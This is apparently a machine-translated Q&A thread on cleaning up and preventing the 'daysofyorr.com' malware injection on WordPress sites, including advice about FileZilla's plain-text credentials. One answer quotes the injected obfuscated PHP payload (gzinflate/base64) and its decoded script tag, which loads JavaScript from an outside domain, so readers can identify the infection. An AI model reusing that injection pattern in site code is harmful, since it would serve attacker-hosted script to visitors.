Come impedire al mio sito web di ricevere attacchi di iniezioni di malware?

Sembra che il malware che hai riscontrato sia il "daysofyorr.com virus" o MW: HTA: 7 .

Sto suggerendo di utilizzare FileZilla come client FTP. In tal caso, è necessario sapere che FileZilla memorizza le credenziali dei propri siti Web in formato testo. Un virus potrebbe aver avuto accesso alle tue credenziali e quindi aver effettuato l'accesso a tutti i tuoi siti web registrati cercando l'installazione di WordPress per aggiornare i file inserendo questo codice.

Ora dovresti:

• Cerca nel tuo computer eventuali virus, malware, ecc.
• Cambia la password FTP di tutti gli account FTP registrati salvati in FileZilla
• Alla fine usa un sistema FTP migliore, come WinSCP

A late comment, but I suspect that you use FileZilla as your FTP client. Did you know that FileZilla stores your FTP site credentials (site/user/pass) in a plain text file in the %APPDATA% folder?

And I also suspect there is a hidden malware on your computer. It grabbed your FileZilla credential files, and used them to change your header.php file in your theme folder. In fact, I suspect that you will find changed header.php in all of your themes folders.

And if you are technical enough to look at your FTP log files, you will find the access to those files: a download, then an upload of the changed files. You might also find some random file names that were uploaded to your root ('home') folder, although those files were deleted by the hacker.

And, you will find that the IP address in the FTP log of the hacker was from China.

Recommendation: uninstall FileZilla, delete the FileZilla folder from %APPDATA% folder, change your FTP passwords (and your host passwords). And look for any changed header.php, footer.php, and wp-settings.php files.

Per il "virus daysofyorr.com", puoi confermare questo controllando alcuni dei tuoi file PHP (come index.php ), se trovi questo codice:

#b58b6f#
echo(gzinflate(base64_decode(“JctRCoAgDADQq8gO4P5DvcuwRUm hbKPl7fvw98FLWuUaFmwOzmD8GTZ6aSkElZrhNBsborvHnab2Y3a RWPuDwjeTcmwKJeFK5Qc=”)));
#/b58b6f#

Questo è tutto!

Per informazioni, traduci in:

<script type="text/javascript" src="http://www.daysofyorr.com/release.js"></script>

Il che sembra portare a 404 al giorno d'oggi.

1. Controlla i registri per vedere se riesci a capire se è stato compromesso
2. Verifica che il tuo Wordpress e tutti i plugin siano aggiornati. Dal momento che Wordpress è un sistema così comunemente utilizzato è abbastanza incline alle vulnerabilità.
3. Se non riesci ancora a capire che cosa è successo, potrebbe essere utile contattare la società che fornisce il tuo hosting condiviso e renderli consapevoli del problema, poiché potrebbe essere il risultato di un'applicazione non aggiornata o qualcosa che stanno ospitando

1. Se la tua società di hosting ha una propria versione di wordpress che aggiorna costantemente, ti consiglio di andare con VS una nuova installazione da solo. La probabilità verrebbe ridotta a causa della compromissione, poiché molto probabilmente avresti accesso solo tramite un pannello di amministrazione.

2. Come per Filezilla, supporta SFTP e FTPS, quindi potrebbe essere un'altra opzione se l'host supporta un FTP crittografato.

3. Infine potresti essere in grado di bloccare gli intervalli IP di dire al di fuori del Nord America che potrebbero aiutare a bloccare gli attacchi poiché la maggior parte degli attacchi proviene dall'estero per fare di solito delle vie legali che non vale la pena seguire.